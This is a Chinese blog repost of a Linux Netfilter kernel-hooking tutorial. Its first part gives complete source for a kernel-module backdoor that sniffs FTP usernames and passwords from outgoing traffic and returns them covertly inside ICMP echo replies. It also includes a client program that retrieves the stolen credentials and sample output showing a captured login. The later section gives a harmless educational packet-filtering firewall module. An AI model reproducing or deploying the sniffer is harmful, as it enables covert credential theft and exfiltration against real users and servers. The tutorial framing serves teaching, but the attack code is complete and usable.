* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
 
/* Written by bioforge,  March 2003 */
 
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/if_arp.h>
 
 
#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36
 
#define ICMP_PAYLOAD_SIZE  (htons(iph->tot_len) \
                   - sizeof(struct iphdr) \
                   - sizeof(struct icmphdr))
 
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;     /* Marks if we already have a pair */
 
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
 
/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;           /* Incoming */
struct nf_hook_ops  post_hook;           /* Outgoing */
 
 
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *sk)
{
   struct iphdr *iph;
   struct tcphdr *tcph;
   char *data;
   int len = 0;
   int i = 0;
   
   iph = ip_hdr(sk);
   tcph = (void *) iph + iph->ihl * 4;
   data = (char *)((int)tcph + (int)(tcph->doff * 4));
 
   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (iph->daddr != target_ip || tcph->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';           /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;
 
      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }
 
      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';           /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
     kfree(username);
     username = NULL;
     target_port = target_ip = 0;
     have_pair = 0;
     
     return;
      }
   } else {
      return;
   }
 
   if (!target_ip)
     target_ip = iph->daddr;
   if (!target_port)
     target_port = tcph->source;
 
   if (username && password)
     have_pair++;               /* Have a pair. Ignore others until
                    * this pair has been read. */
    printk("Now we have a pair of pass and username\n");
    printk("username is :%s\n",username);
    printk("password is :%s\n",password);    
}
 
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                  struct sk_buff *skb,
                  const struct net_device *in,
                  const struct net_device *out,
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sk;
   struct iphdr *iph;
   struct tcphdr *tcph;
 
   sk = skb_copy(skb, 1);
   iph = ip_hdr(sk);
   tcph = (void *) iph + iph->ihl * 4;
 
   /* Make sure this is a TCP packet first */
   if ( iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;               /* Nope, not TCP */
    
   /* Now check to see if it's an FTP packet */
   if (tcph->dest != htons(21))
     return NF_ACCEPT;               /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sk);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}
 
 
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff *skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sk;
   struct iphdr *iph;
   struct tcphdr *tcph;
 
   struct icmphdr *icmp;
   char *cp_data;               /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */
 
   sk = skb;
   iph = ip_hdr(sk);
   tcph = (void *) iph + iph->ihl * 4;
 
 
   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if ( iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sk->data + iph->ihl * 4);
 
   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = iph->saddr;
   iph->saddr = iph->daddr;
   iph->daddr = taddr;
 
   sk->pkt_type = PACKET_OUTGOING;
 
   switch (sk->dev->type) {
    case ARPHRD_PPP:               /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
    {
       unsigned char t_hwaddr[ETH_ALEN];
       
       /* Move the data pointer to point to the link layer header */
       sk->data = (unsigned char *)sk->mac_header;
       sk->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
       memcpy(t_hwaddr, (  ((struct ethhdr*)(sk->mac_header))->h_dest), ETH_ALEN);
       memcpy( ((struct ethhdr*)(sk->mac_header))->h_dest, (((struct ethhdr*)(sk->mac_header))->h_source),ETH_ALEN);
       memcpy((((struct ethhdr*)(sk->mac_header))->h_source), t_hwaddr, ETH_ALEN);
  
       break;
    }
   };
 
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sk);
 
   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;
 
//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}
 
int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_INET_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_INET_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}
 
void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
 
 
 
MODULE_INIT(init_module);
MODULE_EXIT(cleanup_module);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xsc");

源代码 : getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */
 
#include <stdio.h>
#include <stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
 
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
#include <string.h>  
#include <netinet/ip.h>            /// struct ip
#include <netinet/ip_icmp.h>        /// struct icmp
 
 
 
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
 
int main(int argc, char *argv[])
{
    unsigned char dgram[256];           /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
    fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
    exit(1);
    }
 
    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    perror("Couldn't open raw socket! ");
        exit(1);
    }
 
    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
        ptr_one, sizeof(one)) < 0) {
        close(icmp_sock);
    perror("Couldn't set HDRINCL option!");
        exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
           sizeof(struct sockaddr)) < 0) {
    perror("Failed sending request!");
        return 0;
    }
 
    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
         &src_addr_size) < 0) {
         perror("Failed getting reply packet!");
    close(icmp_sock);
    exit(1);
    }
    
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
         (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
         (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}
 
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
测试结果如下:

sina@ubuntu:~/Debug/sniff$ sudo ./getpass 192.168.100.2 192.168.100.1
Sending request...
Waiting for reply...
Stolen for ftp server 192.168.100.2:
Username:    ftpvuser1
Password:    ftpvuser1test

6 - 在Libpcap中隐藏网络通信

关于这部分不想再多说了,可以看以前的文章高级 inline hook 技术  http://blog.csdn.net/xsckernel/article/details/8159502

里面有一些钩子技术的实现方式。

A - 轻量级防火墙
    A.1 - 概述

轻量级防火墙(LWFW)是一个简单的内核模块,用于演示我们在第4节中涉及的基本的数据包过滤技术。LWFW也通过ioctl()系统调用提供了一个控制接口。
    
    由于LWFW的源代码已经有足够的文档了,我在这儿只给出它如何工作的简单概述。当LWFW模块被加载后,它的第一个任务就是尝试注册控制设置。注意在LWFW的ioctl()控制接口可用之前,需要在/dev下创建一个字符设备文件。如果控制设备注册成功,"in use"标志被清除并且对NF_IP_PRE_ROUTE进行hook的函数被注册。清除函数执行相反的操作。
    
    LWFW对数据包丢弃提供三个基本的选项。按照处理的顺序列出如下:
    -- 源接口
    -- 源IP地址
    -- 目的TCP端口
    
    这些规则的设置由ioctl()接口完成。当一个数据包被接收,LWFW按照我们设定的规则进行检查。如果匹配了其中的任意一条规则,那么hook函数将返回

NF_DROP,然后Netfilter将悄无声息的丢弃这个数据包。否则,hook函数返回NF_ACCEPT,数据包将继续它的旅程。
    
    最后,有必要提一下的是LWFW的统计日志。无论任何时候数据包进入hook函数,LWFW都将收到的数据包的计数累加。单独的规则检查函数负责增加它们各自的丢弃的数据包的计数。

注意,当规则的值被改变时,它的丢弃数据包的计数被重置为0。lwfwstats 程序利用LWFW_GET_STATS这个IOCTL来获取统计数据结构的一个副本并显示其内容。

A.2 - 源代码 : lwfw.c

/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.

* Written by bioforge  -  March 2003.
*/
 
 
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/if_arp.h>
#include <linux/cdev.h>              /// struct cdev
 
#include "lwfw.h"
 
/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(char * ip);
static int set_port_rule(char * port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);
 
/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl( struct file *file, unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);
 
 
/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;
 
/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;
 
/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
                    | LWFW_IP_DENY_ACTIVE
                    | LWFW_PORT_DENY_ACTIVE);
 
static int major = 0;               /* Control device major number */
 
/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;
 
/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};
 
/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */
 
struct cdev cdev_m;
 
unsigned int inet_addr(char *str)   
{   
    int a,b,c,d;   
    char arr[4];   
    sscanf(str,"%d.%d.%d.%d",&a,&b,&c,&d);   
    arr[0] = a; arr[1] = b; arr[2] = c; arr[3] = d;   
    return *(unsigned int*)arr;   
}   
 
 
 
/* 
* This is the interface device's file_operations structure
*/
struct file_operations  lwfw_fops = {
     .owner = THIS_MODULE, 
  
     .unlocked_ioctl = lwfw_ioctl,
 
     .open = lwfw_open,
 
     .release = lwfw_release,    
};
 
/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
               struct sk_buff *skb,
               const struct net_device *in,
               const struct net_device *out,
               int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
   
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   
   lwfw_statistics.total_seen++;
   
   /* Check the interface rule first */
   if (deny_if /*&& DENY_IF_ACTIVE */) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
          lwfw_statistics.if_dropped++;
          lwfw_statistics.total_dropped++;
          return NF_DROP;
      }
   }
   
   /* Check the IP address rule */
   if (deny_ip  /*&& DENY_IP_ACTIVE*/ ) {
      ret = check_ip_packet(skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   /* Finally, check the TCP port rule */
   if (deny_port /*&& DENY_PORT_ACTIVE */) {
      ret = check_tcp_packet(skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   return NF_ACCEPT;               /* We are happy to keep the packet */
}
 
/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);
 
   copy_to_user(statbuff, &lwfw_statistics,
        sizeof(struct lwfw_stats));
   
   return 0;
}
 
/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th. 
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
   
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(ip_hdr(skb))) return NF_ACCEPT;
 
   /* Be sure this is a TCP packet first */
   if (ip_hdr(skb)->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }
 
   thead = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4));
   
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}
 
/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(ip_hdr(skb))) return NF_ACCEPT;
   
   if (ip_hdr(skb)->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}
 
static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;               /* Duplicate interface */
   
   /* Make sure the name is non-null */
   NULL_CHECK(name);
   
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
   
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }
 
   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s\n", deny_if);
   
   return ret;
}
 
static int set_ip_rule(char * ip)
{
   deny_ip = inet_addr(ip);
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
   
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
      deny_ip & 0x000000FF, (deny_ip & 0x0000FF00) >> 8,
      (deny_ip & 0x00FF0000) >> 16, (deny_ip & 0xFF000000) >> 24);
   
   return 0;
}
 
static int set_port_rule(char * port)
{
  // static unsigned short deny_port
   sscanf(port,"%d",&deny_port);
   //printk("%x\n",deny_port);
   deny_port = htons(deny_port);
   //printk("%x\n",deny_port);
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
   
   printk("LWFW: Set to deny for TCP port: %d\n",
      ((deny_port & 0xFF00) >> 8 | (deny_port & 0x00FF) << 8));
      
   return 0;
}
 
/*********************************************/
/* 
* File operations functions for control device
*/
static int lwfw_ioctl( struct file *file, unsigned int cmd, unsigned long arg)
{
   int ret = 0;
   char buff[32];
   
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated.\n");
       if (!deny_if && !deny_ip && !deny_port) {
           printk("LWFW: No deny options set.\n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
           printk("LWFW: Deactivated.\n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
     printk("name(arg) is %s\n",arg);
        ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
    copy_from_user(buff,arg,32);
           ret = set_ip_rule( (char *)buff);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule( (char *)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
   
   return ret;
}
 
/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}
 
/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   return 0;
}
 
/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
   int result,err;
   dev_t devno,devno_m;
 
   /* Register the control device, /dev/lwfw */
   result = alloc_chrdev_region(&devno, 0, 1, LWFW_NAME);  
   major = MAJOR(devno);  
 
   if (result < 0)  
     return result;  
   
   devno_m = MKDEV(major, 0);  
   printk("major is %d\n",MAJOR(devno_m)); 
   printk("minor is %d\n",MINOR(devno_m));
   cdev_init(&cdev_m, &lwfw_fops);  
   cdev_m.owner = THIS_MODULE;
   cdev_m.ops = &lwfw_fops;
   err = cdev_add(&cdev_m, devno_m, 1);  
   if(err != 0 ){
    printk("cdev_add error\n");
   }
   
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
 
   printk("\nLWFW: Control device successfully registered.\n");
   
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_INET_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;               /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
   
   /* And register... */
   nf_register_hook(&nfkiller);
   
   printk("LWFW: Network hooks successfully installed.\n");
   
   printk("LWFW: Module installation successful.\n");
   return 0;
}
 
void cleanup_module()
{
   int ret;
   
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);
 
   /* Now unregister control device */
   cdev_del(&cdev_m); 
   unregister_chrdev_region(MKDEV(major, 0), 1);
 
   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
   
   printk("LWFW: Removal of module successful.\n");
}
 
 
 
MODULE_INIT(init_module);
MODULE_EXIT(cleanup_module);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("xsc");

A.3 - 头文件 : lwfw.h

/* Include file for the Light-weight Fire Wall LKM.

* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.

* Written by bioforge  -  March 2003
*/
 
#ifndef __LWFW_INCLUDE__
#define __LWFW_INCLUDE__
 
/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw" 
 
/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */
 
/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE
 
/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007
 
/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004
 
/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
   unsigned int if_dropped;           /* Packets dropped by interface rule */
   unsigned int ip_dropped;           /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;           /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};
 
/* 
* From here on is used solely for the actual kernel module
*/
# define LWFW_MAJOR       241   /* This exists in the experimental range */
 
/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    \
   if ((ptr) == NULL)  return -EINVAL
 
/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)
 
#endif

其用户空间的程序:
#include <stdio.h>
#include <getopt.h> 
#include <sys/ioctl.h> 
#include <fcntl.h>
 
#include "lwfw.h"
 
char* const short_options = "adgf:p:t:"; 
 
struct option long_options[] = {
    { "active"    , 0, NULL, 'a' },
    { "deactive"    , 0, NULL, 'd' },
    { "getstatus"    , 0, NULL, 'g' },
    { "denyif"    , 1, NULL, 'f' },
    { "denyip"    , 1, NULL, 'p' },
    { "denyport"    , 1, NULL, 't' },
    { 0        , 0, NULL,  0  },
}; 
 
int main(int argc, char *argv[])
{
    int c; 
    int fd;
    struct lwfw_stats status;
    fd = open("/dev/lwfw",O_RDWR);
    if(fd == -1 ){
        perror("open");
        return 0;
    }
    while((c = getopt_long (argc, argv, short_options, long_options, NULL)) != -1)  {
        switch(c){
            case 'a':
                ioctl(fd,LWFW_ACTIVATE);
                break;
            case 'd':
                ioctl(fd,LWFW_DEACTIVATE);
                break;
            case 'g':
                ioctl(fd,LWFW_GET_STATS,status);
                printf("if_dropped is %x\n",status.if_dropped);
                printf("ip_dropped is %x\n",status.ip_dropped);
                printf("tcp_dropped is %x\n",status.tcp_dropped);
                printf("total_dropped is %x\n",status.total_dropped);
                printf("total_seen is %x\n",status.total_seen);
                break;
            case 'f':
                ioctl(fd,LWFW_DENY_IF,optarg);
                printf("optarg is %s\n",optarg);
                break;
            case 'p':
                ioctl(fd,LWFW_DENY_IP,optarg);
                printf("optarg is %s\n",optarg);
                break;
            case 't':
                ioctl(fd,LWFW_DENY_PORT,optarg);
                printf("optarg is %s\n",optarg);
                break;
            default:
                printf("sadf\n");    
        }
 
    }
    close(fd);
}

--------------------- 
作者:xianjian_x 
来源:CSDN 
原文:https://blog.csdn.net/XscKernel/article/details/8186679 
版权声明:本文为博主原创文章,转载请附上博文链接!

深入Linux网络核心堆栈--netfilter详解(整理)相关推荐

  1. Linux网络-UDP/TCP协议详解

    Linux网络-UDP/TCP协议详解 零.前言 一.UDP协议 二.TCP协议 1.应答机制 2.序号机制 3.超时重传机制 4.连接管理机制 三次握手 四次挥手 5.理解CLOSE_WAIT状态 ...

  2. linux下iptables和netfilter详解(4):洞悉实现流程及协议栈分析

    (一)洞悉linux下的Netfilter&iptables:什么是Netfilter? 很多人在接触iptables之后就会这么一种感觉:我通过iptables命令配下去的每一条规则,到底是 ...

  3. linux网络编程常用函数详解与实例(socket--bind--listen--accept)

    常用的网络命令: netstat 命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项我们常用的选项是 -an 用来显示详细的网络状态.至于其它的选项我们可 ...

  4. 深入Linux网络核心堆栈

    --[ 1 - 简介 本文将向你展示,Linux的网络堆栈的一些怪异行为(并不一定是弱点)如何被用于邪恶的或者是其它形形色色的目的.在这里将要讨论的是将表面上看起来合法的Netfilter hook用 ...

  5. [linux] Linux网络之TCP协议详解

    目录 1. 传输层 2. 端口号 3. TCP协议 3.1 TCP协议的特性 3.1.1 面向连接 3.1.2 可靠传输 3.1.3 面向字节流 3.2 TCP报头 3.3 TCP连接管理及可靠性问题 ...

  6. Linux 网络状态工具 ss 详解,比netstat更强大

    1.展示他之前来做个对比,统计服务器并发连接数 netstat # time netstat -ant | grep EST | wc -l 3100real 0m12.960s user 0m0.3 ...

  7. Linux网络之curl命令详解

    curl 是一个工具,用于传输来自服务器或者到服务器的数据.「向服务器传输数据或者获取来自服务器的数据」 可支持的协议有(DICT.FILE.FTP.FTPS.GOPHER.HTTP.HTTPS.IM ...

  8. 【Linux服务器开发系列】详解多线程网络编程丨百分百干货分享丨学到就是赚到

    90分钟搞懂多线程网络编程模型 1. 网络编程关注的问题 2. 网络编程的几种模型reactor,one loop per thread及其变种 3. skynet,redis,nginx,memca ...

  9. ceph存储原理_赠书 | Linux 开源存储全栈详解——从Ceph到容器存储
